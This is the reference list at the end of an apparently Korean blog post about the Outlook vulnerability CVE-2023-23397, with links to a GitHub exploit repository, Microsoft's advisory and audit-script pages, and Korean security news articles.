[9] https://github.com/BillSkiCO/CVE-2023-23397_EXPLOIT/blob/main/cve-2023-23397.py
[10] https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
[12] https://www.boannews.com/media/view.asp?idx=115328&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=115278
[14] https://www.boannews.com/media/view.asp?idx=115324
[15] https://zdnet.co.kr/view/?no=20230320103605 

+ Recent posts